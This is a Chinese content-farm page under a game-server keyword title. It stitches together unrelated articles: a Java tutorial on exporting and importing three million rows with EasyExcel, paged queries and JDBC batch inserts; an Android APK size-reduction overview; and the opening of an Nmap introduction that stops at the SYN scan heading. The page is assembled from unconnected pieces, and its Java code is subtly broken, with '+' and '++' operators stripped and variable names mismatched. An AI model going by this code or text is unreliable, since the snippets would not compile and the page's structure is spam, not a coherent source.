您的位置:首页 >iEAS系统 >

传奇私服65535(面试官:百万数据的导入导出解决方案,怎么设计?)

导读 传奇私服65535文章列表:1、面试官:百万数据的导入导出解决方案,怎么设计?2、android apk包体积优化全解析3、NmapNetwork Mapper4、vsphere6.7虚拟化centos7.9系统kubern

传奇私服65535文章列表:

传奇私服65535(面试官:百万数据的导入导出解决方案,怎么设计?)

面试官:百万数据的导入导出解决方案,怎么设计?

前景

在项目开发中往往需要使用到数据的导入和导出,导入就是从EXCEL中导入到DB中,而导出就是从DB中查询数据然后使用poi写到Excel上。

写本文的背景是因为在工作中遇到了大数据的导入和导出,问题既然来了逃跑不如干掉它!!!

只要这一次解决了,后期遇到同样的问题就好解决了。

废话不多说,开始撸起来!!!

1 传统POI的的版本优缺点比较

其实想到数据的导入导出,理所当然的会想到apache的poi技术,以及Excel的版本问题。

既然要做导入导出,那么我们就先来大致看一下传统poi技术的版本以及优缺点对比吧!

首先我们知道POI中我们最熟悉的莫过于WorkBook这样一个接口,我们的POI版本也在更新的同时对这个几口的实现类做了更新:

HSSFWorkbook :

这个实现类是我们早期使用最多的对象,它可以操作Excel2003以前(包含2003)的所有Excel版本。在2003以前Excel的版本后缀还是.xls

XSSFWorkbook :

这个实现类现在在很多公司都可以发现还在使用,它是操作的Excel2003--Excel2007之间的版本,Excel的扩展名是.xlsx

SXSSFWorkbook :

这个实现类是POI3.8之后的版本才有的,它可以操作Excel2007以后的所有版本Excel,扩展名是.xlsx

大致知道了我们在导入导出操作的时候会用到这样三个实现类以及他们可以操作的Excel版本和后缀之后,我们就要从优缺点分析他们了

HSSFWorkbook

它是POI版本中最常用的方式,不过:

它的缺点是 最多只能导出 65535行,也就是导出的数据函数超过这个数据就会报错;

它的优点是 不会报内存溢出。(因为数据量还不到7w所以内存一般都够用,首先你得明确知道这种方式是将数据先读取到内存中,然后再操作)

XSSFWorkbook

优点:这种形式的出现是为了突破HSSFWorkbook的65535行局限,是为了针对Excel2007版本的1048576行,16384列,最多可以导出104w条数据;

缺点:伴随的问题来了,虽然导出数据行数增加了好多倍,但是随之而来的内存溢出问题也成了噩梦。因为你所创建的book,Sheet,row,cell等在写入到Excel之前,都是存放在内存中的(这还没有算Excel的一些样式格式等等),可想而知,内存不溢出就有点不科学了!!!

SXSSFWorkbook

从POI 3.8版本开始,提供了一种基于XSSF的低内存占用的SXSSF方式:

优点:

这种方式不会一般不会出现内存溢出(它使用了硬盘来换取内存空间,

也就是当内存中数据达到一定程度这些数据会被持久化到硬盘中存储起来,而内存中存的都是最新的数据),

并且支持大型Excel文件的创建(存储百万条数据绰绰有余)。

缺点:

既然一部分数据持久化到了硬盘中,且不能被查看和访问那么就会导致,

在同一时间点我们只能访问一定数量的数据,也就是内存中存储的数据;

sheet.clone()方法将不再支持,还是因为持久化的原因;

不再支持对公式的求值,还是因为持久化的原因,在硬盘中的数据没法读取到内存中进行计算;

在使用模板方式下载数据的时候,不能改动表头,还是因为持久化的问题,写到了硬盘里就不能改变了;

2 使用方式哪种看情况

经过了解也知道了这三种Workbook的优点和缺点,那么具体使用哪种方式还是需要看情况的:

我一般会根据这样几种情况做分析选择:

1、当我们经常导入导出的数据不超过7w的情况下,可以使用 HSSFWorkbook 或者 XSSFWorkbook都行;

2、当数据量查过7w并且导出的Excel中不牵扯对Excel的样式,公式,格式等操作的情况下,推荐使用SXSSFWorkbook;

3、当数据量查过7w,并且我们需要操做Excel中的表头,样式,公式等,这时候我们可以使用 XSSFWorkbook 配合进行分批查询,分批写入Excel的方式来做;

3 百万数据导入导出(正菜)

铺垫也做了不少,那么现在开始讲讲我在工作中遇到的超百万数据的导入导出解决方案:

想要解决问题我们首先要明白自己遇到的问题是什么?

1、 我遇到的数据量超级大,使用传统的POI方式来完成导入导出很明显会内存溢出,并且效率会非常低;

2、 数据量大直接使用select * from tableName肯定不行,一下子查出来300w条数据肯定会很慢;

3、 300w 数据导出到Excel时肯定不能都写在一个Sheet中,这样效率会非常低;估计打开都得几分钟;

4、 300w数据导出到Excel中肯定不能一行一行的导出到Excel中。频繁IO操作绝对不行;

5、 导入时300万数据存储到DB如果循环一条条插入也肯定不行;

6、导入时300w数据如果使用Mybatis的批量插入肯定不行,因为Mybatis的批量插入其实就是SQL的循环;一样很慢。

解决思路:

针对1 :

其实问题所在就是内存溢出,我们只要使用对上面介绍的POI方式即可,主要问题就是原生的POI解决起来相当麻烦。

经过查阅资料翻看到阿里的一款POI封装工具EasyExcel,上面问题等到解决;

针对2:

不能一次性查询出全部数据,我们可以分批进行查询,只不过时多查询几次的问题,况且市面上分页插件很多。此问题好解决。

针对3:

可以将300w条数据写到不同的Sheet中,每一个Sheet写一百万即可。

针对4:

不能一行一行的写入到Excel上,我们可以将分批查询的数据分批写入到Excel中。

针对5:

导入到DB时我们可以将Excel中读取的数据存储到集合中,到了一定数量,直接批量插入到DB中。

针对6:

不能使用Mybatis的批量插入,我们可以使用JDBC的批量插入,配合事务来完成批量插入到DB。即 Excel读取分批 JDBC分批插入 事务。

3.1 EasyExcel 简介

附上GitHub地址:https://github.com/alibaba/easyexcel

GitHub地址上教程和说明很详细,并且附带有读和写的demo代码,这里对它的介绍我就不再详细说了。

至于EasyExcel底层怎么实现的这个还有待研究。

3.2 300w数据导出

EasyExcel完成300w数据的导出。技术难点已经知道了,接下来就是针对这一难点提供自己的解决思路即可。

300w数据的导出解决思路:

首先在查询数据库层面,需要分批进行查询(我使用的是每次查询20w)

每查询一次结束,就使用EasyExcel工具将这些数据写入一次;

当一个Sheet写满了100w条数据,开始将查询的数据写入到另一个Sheet中;

如此循环直到数据全部导出到Excel完毕。

注意:

1、我们需要计算Sheet个数,以及循环写入次数。特别是最后一个Sheet的写入次数

因为你不知道最后一个Sheet选哟写入多少数据,可能是100w,也可能是25w因为我们这里的300w只是模拟数据,有可能导出的数据比300w多也可能少

2、我们需要计算写入次数,因为我们使用的分页查询,所以需要注意写入的次数。

其实查询数据库多少次就是写入多少次

//导出逻辑代码public void dataExport300w(HttpServletResponse response) { { OutputStream OutputStream = null; try { long startTime = System.currentTimeMillis(); System.out.println("导出开始时间:" startTime); outputStream = response.getOutputStream(); ExcelWriter writer = new ExcelWriter(outputStream, ExcelTypeEnum.XLSX); String FileName = new String(("excel100w").getBytes(), "UTF-8"); //title Table table = new Table(1); List<List<String>> titles = new ArrayList<List<String>>(); titles.add(Arrays.asList("onlineseqid")); titles.add(Arrays.asList("businessid")); titles.add(Arrays.asList("becifno")); titles.add(Arrays.asList("ivisresult")); titles.add(Arrays.asList("createdby")); titles.add(Arrays.asList("createddate")); titles.add(Arrays.asList("updateby")); titles.add(Arrays.asList("updateddate")); titles.add(Arrays.asList("risklevel")); table.setHead(titles); //模拟统计查询的数据数量这里模拟100w int count = 3000001; //记录总数:实际中需要根据查询条件进行统计即可 Integer totalCount = actResultLogMapper.findActResultLogByCondations(count); //每一个Sheet存放100w条数据 Integer sheetDataRows = ExcelConstants.PER_SHEET_ROW_COUNT; //每次写入的数据量20w Integer writeDataRows = ExcelConstants.PER_WRITE_ROW_COUNT; //计算需要的Sheet数量 Integer sheetNum = totalCount % sheetDataRows == 0 ? (totalCount / sheetDataRows) : (totalCount / SheetDataRows 1); //计算一般情况下每一个Sheet需要写入的次数(一般情况不包含最后一个sheet,因为最后一个sheet不确定会写入多少条数据) Integer oneSheetWriteCount = sheetDataRows / writeDataRows; //计算最后一个sheet需要写入的次数 Integer lastSheetWriteCount = totalCount % sheetDataRows == 0 ? oneSheetWriteCount : (totalCount % sheetDataRows % writeDataRows == 0 ? (totalCount / sheetDataRows / writeDataRows) : (totalCount / sheetDataRows / writeDataRows 1)); //开始分批查询分次写入 //注意这次的循环就需要进行嵌套循环了,外层循环是Sheet数目,内层循环是写入次数 List<List<String>> dataList = new ArrayList<>(); for (int i = 0; i < sheetNum; i ) { //创建Sheet Sheet sheet = new Sheet(i, 0); sheet.setSheetName("测试Sheet1" i); //循环写入次数: j的自增条件是当不是最后一个Sheet的时候写入次数为正常的每个Sheet写入的次数,如果是最后一个就需要使用计算的次数lastSheetWriteCount for (int j = 0; j < (i != sheetNum - 1 ? oneSheetWriteCount : lastSheetWriteCount); j ) { //集合复用,便于GC清理 dataList.clear(); //分页查询一次20w PageHelper.startPage(j 1 oneSheetWriteCount * i, writeDataRows); List<ActResultLog> reslultList = actResultLogMapper.findByPage100w(); if (!CollectionUtils.isEmpty(reslultList)) { reslultList.forEach(item -> { dataList.add(Arrays.asList(item.getOnlineseqid(), item.getBusinessid(), item.getBecifno(), item.getIvisresult(), item.getCreatedby(), Calendar.getInstance().getTime().toString(), item.getUpdateby(), Calendar.getInstance().getTime().toString(), item.getRisklevel())); }); } //写数据 writer.write0(dataList, sheet, table); } } // 下载EXCEL response.setHeader("Content-Disposition", "attachment;filename=" new String((fileName).getBytes("gb2312"), "ISO-8859-1") ".xlsx"); response.setContentType("multipart/form-data"); response.setCharacterEncoding("utf-8"); writer.finish(); outputStream.flush(); //导出时间结束 long endTime = System.currentTimeMillis(); System.out.println("导出结束时间:" endTime "ms"); System.out.println("导出所用时间:" (endTime - startTime) / 1000 "秒"); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (outputStream != null) { try { outputStream.close(); } catch (Exception e) { e.printStackTrace(); } } } }}

3.2.1 测试机状态

。。。

3.2.2 使用数据库版本

数据库我使用的是Oracle19C在网上查阅其实在数据量不超过1亿的情况下,Mysql和Oracle的性能其实相差不大,超过1亿,Oracle的各方面优势才会明显。

所以这里可以忽略使用数据库对时间造成的影响,使用mysql一样可以完成测试,不需要单独安装Oracle。

这次测试在查询方面我使用的是rownum进行的模拟查询300w条数据,这种查询效率其实并不高,实际还有很多优化空间来加快查询速度,

如:明确查询具体字段,不要用星号,经常查询字段增加索引等尽可能提高查询效率,用时可能会更短。

<select id="findByPage300w" resultType="show.mrkay.pojo.ActResultLog"> select * from ACT_RESULT_LOG where rownum <![CDATA[<]]> 3000001</select>-- 建表语句:可以参考一下-- Create tablecreate table ACT_RESULT_LOG( onlineseqid VARCHAR2(32), businessid VARCHAR2(32), becifno VARCHAR2(32), ivisresult VARCHAR2(32), createdby VARCHAR2(32), createddate DATE, updateby VARCHAR2(32), updateddate DATE, risklevel VARCHAR2(32))tablespace STUDY_KAY pctfree 10 initrans 1 maxtrans 255 storage ( initial 64K next 1M minextents 1 maxextents unlimited );

3.2.3 测试结果

下面是300w数据从DB导出到Excel所用时间

从上面结果可以看出,300w的数据导出时间用时2分15秒,并且这是在不适用实体作为映射的情况下,如果使用实体映射不适用循环封装的话速度会更快(当然这也是在没有设置表头等其他表格样式的情况下)

综合来说速度还算可以。

在网上查了很多资料有一个博主测试使用EasyExcel导出102w数据用时105秒,具体可以看一下链接:

https://blog.csdn.net/u014299266/article/details/107790561

看一下导出效果:文件还是挺大的163M

3.2.4 导出小结

经过测试EasyExcel还是挺快的,并且使用起来相当方便,作者还专门提供了关流方法,不需要我们手动去关流了,也避免了我们经常忘记关流导致的一系列问题。

导出测试就到这里,对于数据量小于300W的数据可以使用在一个Sheet中进行导出。这里就不再演示。

3.3 300w数据导入

代码不重要首先还是思路

300W数据的导入解决思路

1、首先是分批读取读取Excel中的300w数据,这一点EasyExcel有自己的解决方案,我们可以参考Demo即可,只需要把它分批的参数3000调大即可。我是用的20w;(一会儿代码一看就能明白)

2、其次就是往DB里插入,怎么去插入这20w条数据,当然不能一条一条的循环,应该批量插入这20w条数据,同样也不能使用Mybatis的批量插入语,因为效率也低。可以参考下面链接【Myabtis批量插入和JDBC批量插入性能对比】

3、使用JDBC 事务的批量操作将数据插入到数据库。(分批读取 JDBC分批插入 手动事务控制)

https://www.cnblogs.com/wxw7blog/p/8706797.html

3.3.1 数据库数据(导入前)

。。。

3.3.2 核心业务代码

// EasyExcel的读取Excel数据的API@Testpublic void import2DBFromExcel10wTest() { String fileName = "D:StudyWorkspaceJavaWorkspacejava_project_workspaceidea_projectsSpringBootProjectseasyexcelexportFileexcel300w.xlsx"; //记录开始读取Excel时间,也是导入程序开始时间 long startReadTime = System.currentTimeMillis(); System.out.println("------开始读取Excel的Sheet时间(包括导入数据过程):" startReadTime "ms------"); //读取所有Sheet的数据.每次读完一个Sheet就会调用这个方法 EasyExcel.read(fileName, new EasyExceGeneralDatalListener(actResultLogService2)).doReadAll(); long endReadTime = System.currentTimeMillis(); System.out.println("------结束读取Excel的Sheet时间(包括导入数据过程):" endReadTime "ms------");}// 事件监听public class EasyExceGeneralDatalListener extends AnalysisEventListener<Map<Integer, String>> { /** * 处理业务逻辑的Service,也可以是Mapper */ private ActResultLogService2 actResultLogService2; /** * 用于存储读取的数据 */ private List<Map<Integer, String>> dataList = new ArrayList<Map<Integer, String>>(); public EasyExceGeneralDatalListener() { } public EasyExceGeneralDatalListener(ActResultLogService2 actResultLogService2) { this.actResultLogService2 = actResultLogService2; } @Override public void invoke(Map<Integer, String> data, AnalysisContext context) { //数据add进入集合 dataList.add(data); //size是否为100000条:这里其实就是分批.当数据等于10w的时候执行一次插入 if (dataList.size() >= ExcelConstants.GENERAL_ONCE_SAVE_TO_DB_ROWS) { //存入数据库:数据小于1w条使用Mybatis的批量插入即可; saveData(); //清理集合便于GC回收 dataList.clear(); } } /** * 保存数据到DB * * @param * @MethodName: saveData * @return: void */ private void saveData() { actResultLogService2.import2DBFromExcel10w(dataList); dataList.clear(); } /** * Excel中所有数据解析完毕会调用此方法 * * @param: context * @MethodName: doAfterAllAnalysed * @return: void */ @Override public void doAfterAllAnalysed(AnalysisContext context) { saveData(); dataList.clear(); }}//JDBC工具类public class JDBCDruidUtils { private static DataSource dataSource; /* 创建数据Properties集合对象加载加载配置文件 */ static { Properties pro = new Properties(); //加载数据库连接池对象 try { //获取数据库连接池对象 pro.load(JDBCDruidUtils.class.getClassLoader().getResourceAsStream("druid.properties")); dataSource = DruidDataSourceFactory.createDataSource(pro); } catch (Exception e) { e.printStackTrace(); } } /* 获取连接 */ public static Connection getConnection() throws SQLException { return dataSource.getConnection(); } /** * 关闭conn,和 statement独对象资源 * * @param connection * @param statement * @MethodName: close * @return: void */ public static void close(Connection connection, Statement statement) { if (connection != null) { try { connection.close(); } catch (SQLException e) { e.printStackTrace(); } } if (statement != null) { try { statement.close(); } catch (SQLException e) { e.printStackTrace(); } } } /** * 关闭 conn , statement 和resultset三个对象资源 * * @param connection * @param statement * @param resultSet * @MethodName: close * @return: void */ public static void close(Connection connection, Statement statement, ResultSet resultSet) { close(connection, statement); if (resultSet != null) { try { resultSet.close(); } catch (SQLException e) { e.printStackTrace(); } } } /* 获取连接池对象 */ public static DataSource getDataSource() { return dataSource; }}# druid.properties配置driverClassName=oracle.jdbc.driver.OracleDriverurl=jdbc:oracle:thin:@localhost:1521:ORCLusername=mrkaypassword=******initialSize=10maxActive=50maxWait=60000// Service中具体业务逻辑/** * 测试用Excel导入超过10w条数据,经过测试发现,使用Mybatis的批量插入速度非常慢,所以这里可以使用 数据分批 JDBC分批插入 事务来继续插入速度会非常快 * * @param * @MethodName: import2DBFromExcel10w * @return: java.util.Map<java.lang.String, java.lang.Object> */@Overridepublic Map<String, Object> import2DBFromExcel10w(List<Map<Integer, String>> dataList) { HashMap<String, Object> result = new HashMap<>(); //结果集中数据为0时,结束方法.进行下一次调用 if (dataList.size() == 0) { result.put("empty", "0000"); return result; } //JDBC分批插入 事务操作完成对10w数据的插入 Connection conn = null; PreparedStatement ps = null; try { long startTime = System.currentTimeMillis(); System.out.println(dataList.size() "条,开始导入到数据库时间:" startTime "ms"); conn = JDBCDruidUtils.getConnection(); //控制事务:默认不提交 conn.setAutoCommit(false); String sql = "insert into ACT_RESULT_LOG (onlineseqid,businessid,becifno,ivisresult,createdby,createddate,updateby,updateddate,risklevel) values"; sql = "(?,?,?,?,?,?,?,?,?)"; ps = conn.prepareStatement(sql); //循环结果集:这里循环不支持"烂布袋"表达式 for (int i = 0; i < dataList.size(); i ) { Map<Integer, String> item = dataList.get(i); ps.setString(1, item.get(0)); ps.setString(2, item.get(1)); ps.setString(3, item.get(2)); ps.setString(4, item.get(3)); ps.setString(5, item.get(4)); ps.setTimestamp(6, new Timestamp(System.currentTimeMillis())); ps.setString(7, item.get(6)); ps.setTimestamp(8, new Timestamp(System.currentTimeMillis())); ps.setString(9, item.get(8)); //将一组参数添加到此 PreparedStatement 对象的批处理命令中。 ps.addBatch(); } //执行批处理 ps.executeBatch(); //手动提交事务 conn.commit(); long endTime = System.currentTimeMillis(); System.out.println(dataList.size() "条,结束导入到数据库时间:" endTime "ms"); System.out.println(dataList.size() "条,导入用时:" (endTime - startTime) "ms"); result.put("success", "1111"); } catch (Exception e) { result.put("exception", "0000"); e.printStackTrace(); } finally { //关连接 JDBCDruidUtils.close(conn, ps); } return result;}

3.3.3 测试结果

下面是300w数据边读边写用时间:

大致计算一下:

从开始读取到中间分批导入再到程序结束总共用时: (1623127964725-1623127873630)/1000=91.095秒

300w数据正好是分15次插入综合用时:8209毫秒 也就是 8.209秒

计算可得300w数据读取时间为:91.095-8.209=82.886秒

结果显而易见:

EasyExcel分批读取300W数据只用了 82.886秒

使用JDBC分批 事务操作插入300w条数据综合只用时 8.209秒

------开始读取Excel的Sheet时间(包括导入数据过程):1623127873630ms------200000条,开始导入到数据库时间:1623127880632ms200000条,结束导入到数据库时间:1623127881513ms200000条,导入用时:881ms200000条,开始导入到数据库时间:1623127886945ms200000条,结束导入到数据库时间:1623127887429ms200000条,导入用时:484ms200000条,开始导入到数据库时间:1623127892894ms200000条,结束导入到数据库时间:1623127893397ms200000条,导入用时:503ms200000条,开始导入到数据库时间:1623127898607ms200000条,结束导入到数据库时间:1623127899066ms200000条,导入用时:459ms200000条,开始导入到数据库时间:1623127904379ms200000条,结束导入到数据库时间:1623127904855ms200000条,导入用时:476ms200000条,开始导入到数据库时间:1623127910495ms200000条,结束导入到数据库时间:1623127910939ms200000条,导入用时:444ms200000条,开始导入到数据库时间:1623127916271ms200000条,结束导入到数据库时间:1623127916744ms200000条,导入用时:473ms200000条,开始导入到数据库时间:1623127922465ms200000条,结束导入到数据库时间:1623127922947ms200000条,导入用时:482ms200000条,开始导入到数据库时间:1623127928260ms200000条,结束导入到数据库时间:1623127928727ms200000条,导入用时:467ms200000条,开始导入到数据库时间:1623127934374ms200000条,结束导入到数据库时间:1623127934891ms200000条,导入用时:517ms200000条,开始导入到数据库时间:1623127940189ms200000条,结束导入到数据库时间:1623127940677ms200000条,导入用时:488ms200000条,开始导入到数据库时间:1623127946402ms200000条,结束导入到数据库时间:1623127946925ms200000条,导入用时:523ms200000条,开始导入到数据库时间:1623127952158ms200000条,结束导入到数据库时间:1623127952639ms200000条,导入用时:481ms200000条,开始导入到数据库时间:1623127957880ms200000条,结束导入到数据库时间:1623127958925ms200000条,导入用时:1045ms200000条,开始导入到数据库时间:1623127964239ms200000条,结束导入到数据库时间:1623127964725ms200000条,导入用时:486ms------结束读取Excel的Sheet时间(包括导入数据过程):1623127964725ms------

看一下数据库的数据是不是真的存进去了300w

可以看到数据比导入前多了300W,测试很成功

图片

3.3.4 导入小结

具体我没有看网上其他人的测试情况,这东西一般也很少有人愿意测试,不过这个速度对于我当时解决公司大数据的导入和导出已经足够,当然公司的业务逻辑很复杂,数据量也比较多,表的字段也比较多,导入和导出的速度会比现在测试的要慢一点,但是也在人类能接受的范围之内。

4 总结

这次工作中遇到的问题也给我留下了深刻印象,同时也是我职业生涯添彩的一笔。

最起码简历上可以写上你处理过上百万条数据的导入导出。

最后说一下公司之前怎么做的,公司之前做法是

限制了用户的下载数量每次最多只能有四个人同时下载,并且控制每个用户最大的导出数据最多只能是20w,与此同时他们也是使用的JDBC分批导入,但是并没有手动控制事务。

控制同时下载人数我可以理解,但是控制下载数据最多为20w就显得有点鸡肋了。

这也是我后期要解决的问题。

好了到此结束,相信大神有比我做的更好的,对于EasyExcel内部到底是怎么实现的还有待考究(有空我再研究研究)。

原文链接:https://mp.weixin.qq.com/s/CbdxHyBV_UaRnXVtt3oD1Q

android apk包体积优化全解析

前言

随着iphone13p最大内存放大到了1T,大内存手机的时代悄然降临,在android里面,三星也有,罗老师几年前说:如果我告诉你们我们在做1T的手机,你们可能以为我疯了。

看看现在,估计未来会有更多手机有1T版,大家开始真香了。

但是,如果现在有人说:要做一个1T大小的app,那他可能是真疯了,至少未来十年不可能。因为手机内存是越大越好,你一个app当然是能小就小呀

Android app的文件格式为APK,本文就是探讨对于一个android apk,有哪些方法可以减小体积

apk组成

要想减小体积,首先我们需要了解apk的构成

我们写的.Java文件会被编译为.class文件,再由dx工具编译为Classes.dex文件,由于android限制,每个dex文件最多65535个方法,所以多出来的方法就生成Classes2.dex , Classes3.dex~ClassesN.dex

Resource(res)与Assets比较像,区别是res目录下会生成资源ID,并在.R文件中记录,可以直接使用,这里平常我们用得很多,而assets不会有ID,而是通过AssetManager接口获取;所以res类似于我们的桌面,一般放我们要操纵的控件资源,而assets类似于桌下的抽屉,放诸如数据库,html这类资源

Native Libraries平时打交道少,优化空间也很有限

上面是抽象的apk结构,下面我们看一个实际的

将qq.apk拖入Android studio

可以看到最大的R文件夹,点进去,都是一些图片,第二大的是assets,里面是一些表情包以及插件图片

其他的我们刚刚也说过,值得注意的是,里面多了一个META-INF

他存放了应用的签名信息,其中

.MF: 每一个资源都有一个SHA1签名,存放在这里

.SF: 文件存放.MF经过base64编码后的签名

.RSA: 对.SF文件使用SHA1算法生成数字摘要(注意:.MF中是对每一个资源进行SHA1,这里是对文件),然后进行RSA加密,再用开发者私钥进行签名,安装时使用公钥解密

这样子,一个app安装在手机时,解密这一数字摘要,然后与内部的.MF文件比对,如果相符,证明资源内容没有被修改

Dex文件

在APK组成中我们可以看到,占用内存最大的是res,assets与classs.dex文件,这也是我们的优化方向,接下来,我们看看如何优化dex

首先我们看看dex的结构

更详细的版本在官网,这里如果对这些结构的作用有兴趣,可以看下图的详细版本

ProGuadrd

dex是代码编译而来,而对于代码文件,最重要的优化就是混淆了,将方法名,属性名等变为又短又无意义的名字,不仅能缩小体积还能避免反编译被人破解

在IDE中,我们可以看到qq里面的类都是小写字母,里面的变量和方法都按字母顺序排列了,从a开始

除了修改变量名,ProGuadrd还可以在功能等价的基础上重写代码,比如把多个函数调用写到一个函数里面去,更加增大了阅读理解难度(虽然初学者一般已经这样做了),以及打乱格式,增加空格等

主要步骤如下

压缩(Shrink): 检测和删除没有使用的类,字段,方法和特性。

优化(Optimize) : 分析和优化Java字节码。

混淆(Obfuscate): 使用简短的无意义的名称,对类,字段和方法进行重命名。

预检(Preveirfy): 用来对Java class进行预验证(预验证主要是针对JME开发来说的,Android中没有预验证过程,默认是关闭)。

D8 与R8优化

这两平时接触不多,他们主要是在字节码处做优化的,开发时感知不强(感觉就是用来面试的)

D8主要是在编译字节码时重排序,将占用空间变得更小,比如对于greetingType方法,正常编译后的结果是

[000584] Main.greetingType:(LGreeting;)Ljava/lang/String;0000: sget-object v0, LMain$1;.$SwitchMap$Greeting:[I0002: invoke-virtual {v2}, LGreeting;.ordinal:()I0005: move-result v10006: aget v0, v0, v10008: packed-switch v0, 00000017 // 这里

如果使用D8优化,编译后的结果

[0005f0] Main.greetingType:(LGreeting;)Ljava/lang/String;0000: sget-object v0, LMain$1;.$SwitchMap$Greeting:[I0002: invoke-virtual {v1}, LGreeting;.ordinal:()I0005: move-result v10006: aget v0, v0, v1-0008: packed-switch v0, 00000017 // 这里 0008: const/4 v1, #int 1 0009: if-eq v0, v1, 0014 000b: const/4 v1, #int 2 000c: if-eq v0, v1, 0017

可以看到 0008处后的几条指令有变化,多了几个if,对于不同的case做创建不同的变量,可以节省空间

R8也类似,只是策略有些不一样

更详细的了解可以参考

总之,他们的作用是就是,在不改变功能的情况下,重写部分class指令,减小空间占用,但是有可能会增加指令数量

Redex优化

Redex是Facebook推出的一个优化Dex文件的工具,和D8R8一样,也是对字节码的处理,有以下效果

    内联函数,减少调用

    删除无用代码

    将只有一个实现类的接口或者父类用实现类代替

    字符串混淆所见

……

不过这个我没用过,但是感觉Proguard与D8R8都多多少少能做到,可能是他在细节上用了更好的算法

但是不管多少框架,对dex文件的优化说来说去也就这些

移除多余的库与代码

最后是移除第三方库和冗余代码,属于业务逻辑上的原因

多余的库对于自己的小项目,还好,对于多人参与的大型项目,很有可能对同一个功能,不同的人用了不同的轮子,手Q里面就有,比如要写单测,之前使用Powermock,后来用JMock,再后来改为Mockk,一个项目,三个单测框架由于不同的单测框架已经写了不少单测,短时间移除是不太可能的,但是可以慢慢转为同一种单测框架

多余代码Android studio会自己检测,没有用过的会置位灰色提醒,但是会漏掉很多,通过插件Lint可以检测,

资源清理

上面都是在代码层面减小dex,apk的另一个空间占用大户,是资源,尤其是其中的图片,

图片,你可知道,多少OOM因你而起?多少app因你闪退?

图片压缩与更换格式

我们先看看图片为什么那么大

图片的显示,有ARGB 4个通道,其中默认的显示模式是ARGB8888,ARGB8888表示每个通道的颜色区间为[0,255],也就是两个16进制数表示,也就是8bit -> 1字节

所以ARGB8888模式下,一个像素4个通道下占用4字节,一张1024*1024的手机图片图片,就是 $$ 2^{10} * 2^{10} * 2^2 = 2^{22} = 4M $$ 一张图4M,太离谱了!

上面是打开后在运存的占用,我们可以修改颜色通道,不然ARGB565来减小单个像素所占用运存,不过有点跑题,本篇我们讲的是app的大小,也就是所占用手机的内存(我们约定 手机运存 = 电脑内存,手机内存 = 电脑硬盘)

内存与运存中的图片存在形式是不一样的,压缩方法也不一样,很多人容易弄混

回到内存,内存中,图片是以png,jpg等格式存储

我之前开发的时候都是先将png图片,往tinypng网站中压缩一下再放入,所以可以压缩图片,一般能压个三分之一~三分之二。

也可以更换图片格式,比如webp,svg可以更小,android studio也提供了对应的支持,但是没有最好的格式,只是适用场景不同

:point_down:

这里多提一下webp,因为这是google推出的,大家在谷歌浏览器下载图片的时候,一般默认下载下来就是webp格式,所谓更小的内存占用,本质上是对图片进行了压缩,webp的压缩算法是VP8视频编码,核心逻辑就是将图片分割成更小的子块,然后预测周围像素值,预测越准,周围的像素值就可以删去,再在图片打开时算出删掉的像素

图片网络化

在微信或者qq聊天中,对方发来一张图片,我们在聊天窗口往往先看到一张很模糊的缩略图,当点击时才会加载出高清图,

这个思路也可以用在apk中,很多入口较深的高清大图,或者需要经常更新的图片,也许用户根本不看,就没有必要内置在apk中,看时加载即可,如果需要提前占位置,可以用缩略图代替

至于哪些图网络化,需要根据业务与用户体验来权衡了

比如淘宝,在断网情况下打开时,只有icon内置了

其他策略

无论是对Dex还是对资源进行优化,虽然安全有效,但是本质上是将原来有的东西变得更小,对apk的瘦身程度是有限的,还有一些”七伤拳“,优化率极高,但是对apk的影响也很大,需要谨慎使用。

插件化

所谓插件化,就是将apk中的非主要功能弄成独立的apk,原主apk称为宿主。

比如支付宝里面,就是搞支付的,那么他里面的什么口碑,基金,天猫一堆乱七八糟,同时功能独立的东西就非常适合做成插件,用户用到的时候再从网络加载进来,这样极大的减少了apk占用。

但是这里涉及到比较多的技术问题:

    用户现在只有宿主apk,如何让宿主加载到插件apk里面的代码?

    android四大组件都需要到manifest中注册,插件里面的组件显然不可能提前注册到宿主的manifest中(不然注册了,插件没加载进来,会找不到类),所以如何让系统认为下载下来的插件有注册?

    宿主与插件资源能否正确互相引用?

一般来说,通过的是代理和反射来处理,腾讯有一个shadow框架可以大致实现”零反射“,

复用独立安装App的源码:

零反射无Hack实现插件技术:

全动态插件框架:

宿主增量极小:

Kotlin实现:

不过插件化技术不在今天的讨论范围,有兴趣可以研究下tencent-shadow

当使用了插件化后,项目基本是要重构了,相比起改改Dex和图片,这个工程量极大,但是收益也会很高

webview

这里类似于图片网络化,相对于图片,直接将整个界面都变成url,

我们手机app中的小程序一般都是url显示在webview中

相关技术可以使用jsBridge与Hybird,本质上就是通过bridge连接h5与android iOS,实现通信

不过代价就是,加载速度慢于原生,还要注意防止网址篡改等

小结

本文我们讨论的是apk的瘦身方案,首先先明确了apk的主要组成部分为dex文件与资源文件

对于dex文件,我们可以进行混淆,字节码重排序,移除多余库与代码

对于资源文件,我们可以替换格式,压缩图片,网络化

除了这些常规操作,我们还可以使用插件化与Webview方法极致减少体积,但是这两个技术工程量大,而且有性能代价,需要谨慎使用。

参考资料

深入探索 Android 包体积优化(匠心制作-上)

Android 项目中资源文件 -- asset 目录和 res 目录

顶象App加固技术解析:DEX文件格式的详解

D8 Optimizations

Android 开发应该掌握的 Proguard 技巧

NmapNetwork Mapper

1. 概述

Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。

2. 基本功能

1)探测目标主机是否在线

2)扫描主机端口,嗅探所提供的网络服务

3)推断主机所用的操作系统

3. 工具安装

1)Windows操作系统Nmap工具安装

在Nmap官网www.nmap.org直接下载安装Nmap工具最新版本,如nmap-7.80-setup.exe,双击进行安装,安装过程中会自动弹出安装npcap-0.9982.exe窗口,点击确认安装,并按照提示一步一步安装完成。

2)Linux操作系统Nmap工具安装

在Nmap官网www.nmap.org直接下载安装Nmap工具最新版本,如nmap-7.80-1.x86_64.rpm,将工具安装包下载到本地,然后使用如下命令安装即可(切换到安装包目录)

安装命令:rpm -ivh nmap-7.80-1.x86_64.rpm

卸载命令:rpm -e nmap-7.80-1.x86_64.rpm

4. 扫描原理

4.1. TCP SYN扫描(-sS)

